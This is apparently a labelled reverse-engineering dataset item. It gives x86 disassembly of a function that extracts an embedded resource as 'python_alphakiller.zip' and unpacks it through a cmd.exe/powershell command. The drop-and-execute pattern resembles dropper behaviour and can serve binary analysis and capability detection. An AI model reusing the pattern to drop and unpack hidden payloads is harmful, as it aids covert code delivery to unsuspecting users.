Function at 0x408810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45eab8
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push esi
push edi
mov eax, dword [0x47a0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x1c], edi
push 0xa
push 0x12c
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov esi, eax
test esi, esi
je 0x408884
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov esi, eax
test esi, esi
je 0x408884
push esi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x408898
push esi
call dword [sym.imp.KERNEL32.DLL_FreeResource]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x408a60
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push dword [edi]
push str._spython_alphakiller.zip
push eax
call fcn.0040cdd0
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
add esp, 0xc
push edi
call fcn.0040b3e0
sub esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xcc]
push dword [eax]
call fcn.00409a00
mov byte [ebp - 4], 3
or eax, 0xffffffff
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40890e
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xcc]
push ebx
call fcn.00409b50
lea ecx, [ebp - 0xc8]
call fcn.0040bb80
test eax, eax
jne 0x408957
mov eax, dword [ebp - 0xcc]
lea ecx, [ebp - 0xcc]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004025e0
push esi
call dword [sym.imp.KERNEL32.DLL_FreeResource]
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x408a6a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 4
push dword [eax]
lea eax, [ebp - 0x10]
push edi
push str.cmd.exe__c_powershell.exe__nologo__noprofile__command____Add_Type__A_System.IO.Compression.FileSystem___IO.Compression.ZipFile_::ExtractToDirectory__s___s___
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x10]
push esi
call fcn.004412f8
or ebx, 0xffffffff
mov byte [ebp - 4], 3
add esp, 0x14
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x4089bd
lfence
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xcc], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xd0], eax
lea ecx, [ebp - 0xc8]
call fcn.00409650
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xcc], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xd0], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0x64], vtable.std::ios_base.0
call fcn.0041fb89
add esp, 4
mov dword [ebp - 4], 0xffffffff
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x408a4c
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
int3